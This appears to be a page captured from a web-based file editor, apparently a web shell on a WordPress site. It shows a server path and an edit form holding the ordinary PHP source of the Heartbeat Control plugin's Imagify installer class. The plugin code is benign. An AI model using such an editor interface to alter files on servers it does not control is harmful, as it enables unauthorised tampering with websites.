<h2>File Contents: /home/planet5/www/yogitonics.com/wp-content/plugins/heartbeat-control/Imagify_Partner.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yogitonics.com/wp-content/plugins/heartbeat-control/Imagify_Partner.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Tool allowing 3rd party WordPress plugins to handle partnership with Imagify.
 *
 * @package wp-media/wp-imagify-partner
 */

namespace Heartbeat_Control;

defined( &#039;ABSPATH&#039; ) || die( &#039;Cheatin\&#039; uh?&#039; );

/**
 * Class allowing to download, install, and activate Imagify plugin.
 *
 * @author Grégory Viguier
 */
class Imagify_Partner {

	/**
	 * Class version.
	 *
	 * @var string
	 */
	const VERSION = &#039;1.0&#039;;

	/**
	 * Name of the option that stores the partner identifier.
	 *
	 * @var string
	 */
	const OPTION_NAME = &#039;imagifyp_id&#039;;

	/**
	 * Name of the transient that stores the error messages.
	 *
	 * @var string
	 */
	const ERROR_TRANSIENT_NAME = &#039;imagifyp_error&#039;;

	/**
	 * Name of the URL argument used on success.
	 *
	 * @var string
	 */
	const SUCCESS_ARG = &#039;imp-success&#039;;

	/**
	 * Name of the URL argument used to display an error notice.
	 *
	 * @var string
	 */
	const ERROR_ARG = &#039;imp-error&#039;;

	/**
	 * ID of the nonce used to install Imagify.
	 *
	 * @var string
	 */
	const NONCE_NAME = &#039;install_imagify_from_partner&#039;;

	/**
	 * Message used as fallback in get_message().
	 *
	 * @var string
	 */
	const FALLBACK_MESSAGE = &#039;Unknown message&#039;;

	/**
	 * Partner identifier.
	 *
	 * @var    string
	 * @access protected
	 */
	protected $partner;


	/** ----------------------------------------------------------------------------------------- */
	/** INSTANCE, INIT ========================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Class constructor: sanitize and set the partner identifier.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @param string $partner Partner identifier.
	 */
	public function __construct( $partner ) {
		$this-&gt;partner = self::sanitize_partner( $partner );
	}

	/**
	 * Class init.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 */
	public function init() {
		if ( ! $this-&gt;get_partner() ) {
			return;
		}

		if ( ! is_admin() ) {
			return;
		}

		if ( ! self::has_imagify_api_key() ) {
			add_action( &#039;wp_ajax_&#039; . $this-&gt;get_post_action(),    array( $this, &#039;post_callback&#039; ) );
			add_action( &#039;admin_post_&#039; . $this-&gt;get_post_action(), array( $this, &#039;post_callback&#039; ) );
		}

		if ( self::is_success() || self::is_error() ) {
			add_action( &#039;all_admin_notices&#039;,    array( __CLASS__, &#039;error_notice&#039; ) );
			add_filter( &#039;removable_query_args&#039;, array( __CLASS__, &#039;add_query_args&#039; ) );
		}
	}


	/** ----------------------------------------------------------------------------------------- */
	/** MAIN PUBLIC TOOLS ======================================================================= */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Tell if Imagify&#039;s API key is set.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function has_imagify_api_key() {
		static $has;

		if ( isset( $has ) ) {
			return $has;
		}

		if ( function_exists( &#039;get_imagify_option&#039; ) ) {
			// Imagify is already installed and activated.
			$has = (bool) get_imagify_option( &#039;api_key&#039; );
			return $has;
		}

		if ( defined( &#039;IMAGIFY_API_KEY&#039; ) &amp;&amp; IMAGIFY_API_KEY ) {
			// It&#039;s defined in wp-config.php.
			$has = true;
			return $has;
		}

		if ( ! is_multisite() ) {
			// Monosite: grab the value from the options table.
			$options = get_option( &#039;imagify_settings&#039; );
			$has     = ! empty( $options[&#039;api_key&#039;] );
			return $has;
		}

		$options = get_site_option( &#039;imagify_settings&#039; );

		if ( ! empty( $options[&#039;api_key&#039;] ) ) {
			// Multisite: Imagify was activated in the network.
			$has = true;
			return $has;
		}

		// Multisite: Imagify was activated for this site.
		$options = get_option( &#039;imagify_settings&#039; );
		$has     = ! empty( $options[&#039;api_key&#039;] );
		return $has;
	}

	/**
	 * Tell if Imagify is activated.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function is_imagify_activated() {
		return defined( &#039;IMAGIFY_VERSION&#039; );
	}

	/**
	 * Tell if Imagify is installed.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function is_imagify_installed() {
		if ( self::is_imagify_activated() ) {
			return true;
		}

		return file_exists( self::get_imagify_path() );
	}

	/**
	 * Tell if Imagify has been successfully installed.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function is_success() {
		return ! empty( $_GET[ self::SUCCESS_ARG ] ); // WPCS: CSRF ok.
	}

	/**
	 * Tell if Imagify install failed.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function is_error() {
		return ! empty( $_GET[ self::ERROR_ARG ] ); // WPCS: CSRF ok.
	}

	/**
	 * Get the URL to install and activate Imagify.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string The URL.
	 */
	public function get_post_install_url() {
		if ( ! $this-&gt;get_partner() || ! self::current_user_can() ) {
			return &#039;&#039;;
		}

		$install_url = admin_url( &#039;admin-post.php&#039; );
		$args        = array(
			&#039;action&#039;           =&gt; $this-&gt;get_post_action(),
			&#039;_wpnonce&#039;         =&gt; wp_create_nonce( self::NONCE_NAME ),
			// To make sure we have a referrer.
			&#039;_wp_http_referer&#039; =&gt; rawurlencode( self::get_current_url() ),
		);

		return add_query_arg( $args, $install_url );
	}

	/**
	 * Get the partner identifier.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string Partner identifier.
	 */
	public function get_partner() {
		return $this-&gt;partner;
	}


	/** ----------------------------------------------------------------------------------------- */
	/** HOOKS =================================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Post callback to install and activate Imagify.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 */
	public function post_callback() {
		if ( ! check_ajax_referer( self::NONCE_NAME, &#039;_wpnonce&#039;, false ) ) {
			$this-&gt;error_die();
		}

		if ( ! self::current_user_can() ) {
			$this-&gt;error_die( &#039;cant_install&#039; );
		}

		/**
		 * Store the partner ID before doing anything.
		 * If something goes wrong during the plugin installation, the partner ID will still be saved.
		 */
		self::store_partner( $this-&gt;get_partner() );

		// Install Imagify.
		$result = $this-&gt;install_imagify();

		if ( is_wp_error( $result ) ) {
			// Install failed.
			if ( self::doing_ajax() ) {
				$this-&gt;send_json_error( $result );
			}
			// Redirect to the plugins search page.
			$this-&gt;error_redirect( $result );
		}

		// Activate Imagify.
		$result = $this-&gt;activate_imagify();

		if ( is_wp_error( $result ) ) {
			// Activation failed.
			if ( self::doing_ajax() ) {
				$this-&gt;send_json_error( $result );
			}
			// Redirect to the plugins search page.
			$this-&gt;error_redirect( $result );
		}

		if ( self::doing_ajax() ) {
			$this-&gt;send_json_success();
		}
		// Redirect to the partner&#039;s page.
		$this-&gt;success_redirect();
	}

	/**
	 * Maybe print an error notice on the plugins install page.
	 * We add the query argument we use to display an error message.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 */
	public static function error_notice() {
		if ( ! self::is_error() ) {
			// No URL argument.
			return;
		}

		$screen = get_current_screen();

		if ( ! $screen || &#039;plugin-install&#039; !== $screen-&gt;id ) {
			// Not the good page.
			return;
		}

		$partner = self::get_stored_partner();

		if ( ! $partner ) {
			// No partner stored in the database.
			return;
		}

		$errors = get_transient( self::ERROR_TRANSIENT_NAME );

		if ( ! $errors ) {
			// No error messages.
			return;
		}

		if ( ! is_wp_error( $errors ) ) {
			// Invalid value.
			delete_transient( self::ERROR_TRANSIENT_NAME );
			return;
		}

		$errors = $errors-&gt;get_error_messages();

		if ( $errors ) {
			foreach ( $errors as $i =&gt; $error ) {
				if ( self::FALLBACK_MESSAGE === $error ) {
					unset( $errors[ $i ] );
				}
			}
		}

		if ( ! $errors ) {
			// Add a generic message.
			$instance = new self( $partner );
			$errors[] = $instance-&gt;get_message( &#039;process_failed&#039; );
		}

		echo &#039;&lt;div class=&quot;error notice is-dismissible&quot;&gt;&lt;p&gt;&#039; . implode( &#039;&lt;br/&gt;&#039;, $errors ) . &#039;&lt;/p&gt;&lt;/div&gt;&#039;;
	}

	/**
	 * Filter the list of query variables to remove from admin area URLs.
	 * We add the query arguments we use on success or error.
	 *
	 * @since  1.0
	 * @access public
	 * @see    wp_removable_query_args()
	 * @author Grégory Viguier
	 *
	 * @param  array $removable_query_args An array of query variables to remove from a URL.
	 * @return array
	 */
	public static function add_query_args( $removable_query_args ) {
		$removable_query_args[] = self::SUCCESS_ARG;
		$removable_query_args[] = self::ERROR_ARG;
		return $removable_query_args;
	}


	/** ----------------------------------------------------------------------------------------- */
	/** INFOS, INSTALL, ACTIVATE ================================================================ */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Get Imagify infos from the repository.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return object The plugin infos on success. A WP_Error object on failure.
	 */
	protected function get_imagify_infos() {
		static $infos;

		if ( isset( $infos ) ) {
			return $infos;
		}

		require_once ABSPATH . &#039;wp-admin/includes/plugin-install.php&#039;;

		// Get Plugin Infos.
		$infos = plugins_api( &#039;plugin_information&#039;, array(
			&#039;slug&#039;   =&gt; &#039;imagify&#039;,
			&#039;fields&#039; =&gt; array(
				&#039;short_description&#039; =&gt; false,
				&#039;sections&#039;          =&gt; false,
				&#039;rating&#039;            =&gt; false,
				&#039;ratings&#039;           =&gt; false,
				&#039;downloaded&#039;        =&gt; false,
				&#039;last_updated&#039;      =&gt; false,
				&#039;added&#039;             =&gt; false,
				&#039;tags&#039;              =&gt; false,
				&#039;homepage&#039;          =&gt; false,
				&#039;donate_link&#039;       =&gt; false,
			),
		) );

		return $infos;
	}

	/**
	 * Get the URL to download Imagify.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return string The URL. An empty string on error.
	 */
	protected function get_download_url() {
		$infos = $this-&gt;get_imagify_infos();
		return ! empty( $infos-&gt;download_link ) ? $infos-&gt;download_link : &#039;&#039;;
	}

	/**
	 * Install Imagify.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return object|null A WP_Object on failure, null on success.
	 */
	protected function install_imagify() {
		if ( self::is_imagify_installed() ) {
			// Imagify is already installed.
			return null;
		}

		$infos = $this-&gt;get_imagify_infos();

		if ( is_wp_error( $infos ) ) {
			return $infos;
		}

		ob_start();
		@set_time_limit( 0 );

		require_once ABSPATH . &#039;wp-admin/includes/class-wp-upgrader.php&#039;;

		$upgrader = new Plugin_Upgrader( new Automatic_Upgrader_Skin() );
		$result   = $upgrader-&gt;install( $this-&gt;get_download_url() );

		ob_end_clean();

		if ( is_wp_error( $result ) ) {
			return $result;
		}

		clearstatcache();

		if ( ! self::is_imagify_installed() ) {
			return new WP_Error( &#039;process_failed&#039;, $this-&gt;get_message( &#039;process_failed&#039; ) );
		}

		return null;
	}

	/**
	 * Activate Imagify.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return object|null A WP_Object on failure, null on success.
	 */
	protected function activate_imagify() {
		return activate_plugin( self::get_imagify_path(), false, is_multisite() );
	}

	/**
	 * Get a message used by the class.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param  string $message_id A message ID.
	 * @return string             A message.
	 */
	protected function get_message( $message_id ) {
		$messages = array(
			&#039;success&#039;        =&gt; __( &#039;Plugin installed successfully.&#039; ),
			&#039;cant_install&#039;   =&gt; __( &#039;Sorry, you are not allowed to install plugins on this site.&#039; ),
			&#039;not_allowed&#039;    =&gt; __( &#039;Sorry, you are not allowed to do that.&#039; ),
			&#039;process_failed&#039; =&gt; __( &#039;Plugin install failed.&#039; ),
			&#039;go_back&#039;        =&gt; __( &#039;Go back&#039; ),
		);

		/**
		 * Filter messages used everywhere in the class.
		 * Default messages are already translated by WordPress.
		 *
		 * @since  1.0
		 * @author Grégory Viguier
		 *
		 * @param array $messages Messages.
		 */
		$messages = apply_filters( &#039;imagify_partner_messages_&#039; . $this-&gt;get_partner(), $messages );

		return ! empty( $messages[ $message_id ] ) ? $messages[ $message_id ] : self::FALLBACK_MESSAGE;
	}


	/** ----------------------------------------------------------------------------------------- */
	/** HANDLE SUCCESS ========================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Send a JSON response back to an Ajax request, indicating success.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 */
	protected function send_json_success() {
		delete_transient( self::ERROR_TRANSIENT_NAME );

		wp_send_json_success( $this-&gt;get_message( &#039;success&#039; ) );
	}

	/**
	 * Redirect the user after Imagify is successfully installed and activated.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 */
	protected function success_redirect() {
		delete_transient( self::ERROR_TRANSIENT_NAME );

		wp_safe_redirect( esc_url_raw( $this-&gt;get_success_redirection_url() ) );
		die();
	}

	/**
	 * Get the URL to redirect the user to after Imagify is successfully installed and activated: the referrer (partner&#039;s page URL).
	 * A &quot;success&quot; argument is added.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string
	 */
	public function get_success_redirection_url() {
		$success_url = add_query_arg( array(
			self::SUCCESS_ARG =&gt; 1,
			self::ERROR_ARG   =&gt; false,
		), wp_get_referer() );

		/**
		 * Filter the URL to redirect the user to after Imagify is successfully installed and activated.
		 * Default is the partner&#039;s page URL.
		 *
		 * @since  1.0
		 * @author Grégory Viguier
		 *
		 * @param string $success_url The URL.
		 */
		return apply_filters( &#039;imagify_partner_success_url_&#039; . $this-&gt;get_partner(), $success_url );
	}


	/** ----------------------------------------------------------------------------------------- */
	/** HANDLE ERROR ============================================================================ */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Die on error.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param string $message_id An error message ID.
	 */
	protected function error_die( $message_id = &#039;not_allowed&#039; ) {
		$message = $this-&gt;get_message( $message_id );

		if ( self::doing_ajax() ) {
			$message = new WP_Error( $message_id, $message );
			$this-&gt;send_json_error( $message );
		}

		if ( wp_get_referer() ) {
			$message .= &#039;&lt;/p&gt;&lt;p&gt;&#039;;
			$message .= sprintf( &#039;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&#039;,
				esc_url( remove_query_arg( &#039;updated&#039;, wp_get_referer() ) ),
				$this-&gt;get_message( &#039;go_back&#039; )
			);
		}

		wp_die( $message, &#039;&#039;, 403 );
	}

	/**
	 * Send a JSON response back to an Ajax request, indicating failure.
	 * This is a backward compatible version of wp_send_json_error(): WP_Error object handling was introduced in WP 4.1.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param mixed $data Data to encode as JSON, then print and die.
	 */
	protected function send_json_error( $data ) {
		if ( is_wp_error( $data ) ) {
			$result = array();
			foreach ( $data-&gt;errors as $code =&gt; $messages ) {
				foreach ( $messages as $message ) {
					$result[] = array(
						&#039;code&#039;    =&gt; $code,
						&#039;message&#039; =&gt; $message,
					);
				}
			}
		} else {
			$result = $data;
		}

		wp_send_json_error( $result );
	}

	/**
	 * Store an error message in a transient then redirect the user.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param object $error A WP_Error object.
	 */
	protected function error_redirect( $error ) {
		set_transient( self::ERROR_TRANSIENT_NAME, $error, 30 );

		wp_safe_redirect( esc_url_raw( $this-&gt;get_error_redirection_url() ) );
		die();
	}

	/**
	 * Get the URL to redirect the user to after Imagify installation failure: the plugins search page URL, searching for Imagify.
	 * An &quot;error&quot; argument is added, to display an error notice.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string
	 */
	public function get_error_redirection_url() {
		$error_url = &#039;plugin-install.php?s=imagify&amp;tab=search&amp;type=term&amp;&#039; . self::ERROR_ARG . &#039;=1&#039;;
		$error_url = is_multisite() ? network_admin_url( $error_url ) : admin_url( $error_url );

		/**
		 * Filter the URL to redirect the user to after Imagify installation failure.
		 * Default is the plugins search page URL.
		 *
		 * @since  1.0
		 * @author Grégory Viguier
		 *
		 * @param string $error_url The URL.
		 */
		return apply_filters( &#039;imagify_partner_error_url_&#039; . $this-&gt;get_partner(), $error_url );
	}


	/** ----------------------------------------------------------------------------------------- */
	/** STORING THE PARTNER ID IN DATABASE ====================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Get the partner identifier stored in the Database.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string|bool The partner identifier, or false if none is stored.
	 */
	public static function get_stored_partner() {
		$partner = get_option( self::OPTION_NAME );

		if ( $partner &amp;&amp; is_string( $partner ) ) {
			$partner = self::sanitize_partner( $partner );
		}

		return $partner ? $partner : false;
	}

	/**
	 * Delete the partner identifier stored in the Database.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 */
	public static function delete_stored_partner() {
		if ( false !== get_option( self::OPTION_NAME ) ) {
			delete_option( self::OPTION_NAME );
		}
	}

	/**
	 * Store the partner identifier in Database.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param string $partner The partner identifier to store.
	 */
	protected static function store_partner( $partner ) {
		if ( false === get_option( self::OPTION_NAME ) ) {
			add_option( self::OPTION_NAME, $partner );
		} else {
			update_option( self::OPTION_NAME, $partner );
		}
	}

	/**
	 * Sanitize a partner ID.
	 *
	 * @since  1.0
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param  string $partner Partner identifier.
	 * @return string
	 */
	protected static function sanitize_partner( $partner ) {
		return preg_replace( &#039;@[^a-z0-9_-]@&#039;, &#039;&#039;, strtolower( (string) $partner ) );
	}


	/** ----------------------------------------------------------------------------------------- */
	/** VARIOUS TOOLS =========================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Get the action.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string Partner identifier.
	 */
	public function get_post_action() {
		return &#039;install_imagify_from_partner_&#039; . $this-&gt;get_partner();
	}

	/**
	 * Determines whether the current request is a WordPress Ajax request.
	 * This is a clone of wp_doing_ajax(), intriduced in WP 4.7.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool True if it&#039;s a WordPress Ajax request, false otherwise.
	 */
	public static function doing_ajax() {
		/**
		 * Filters whether the current request is a WordPress Ajax request.
		 *
		 * @since 1.0
		 *
		 * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request.
		 */
		return apply_filters( &#039;wp_doing_ajax&#039;, defined( &#039;DOING_AJAX&#039; ) &amp;&amp; DOING_AJAX );
	}

	/**
	 * Get Imagify&#039;s file path.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string The file path.
	 */
	public static function get_imagify_path() {
		if ( defined( &#039;IMAGIFY_FILE&#039; ) ) {
			return IMAGIFY_FILE;
		}

		return WP_PLUGIN_DIR . &#039;/imagify/imagify.php&#039;;
	}

	/**
	 * Tell if the current user can install and activate Imagify.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	public static function current_user_can() {
		static $can;

		if ( ! isset( $can ) ) {
			$can = is_multisite() ? &#039;manage_network_plugins&#039; : &#039;install_plugins&#039;;
			$can = current_user_can( $can );
		}

		return $can;
	}

	/**
	 * Get the current URL.
	 *
	 * @since  1.0
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return string
	 */
	public static function get_current_url() {
		$port = (int) $_SERVER[&#039;SERVER_PORT&#039;];
		$port = 80 !== $port &amp;&amp; 443 !== $port ? ( &#039;:&#039; . $port ) : &#039;&#039;;
		$url  = ! empty( $GLOBALS[&#039;HTTP_SERVER_VARS&#039;][&#039;REQUEST_URI&#039;] ) ? $GLOBALS[&#039;HTTP_SERVER_VARS&#039;][&#039;REQUEST_URI&#039;] : ( ! empty( $_SERVER[&#039;REQUEST_URI&#039;] ) ? $_SERVER[&#039;REQUEST_URI&#039;] : &#039;&#039; );

		return &#039;http&#039; . ( is_ssl() ? &#039;s&#039; : &#039;&#039; ) . &#039;://&#039; . $_SERVER[&#039;HTTP_HOST&#039;] . $port . $url;
	}
}
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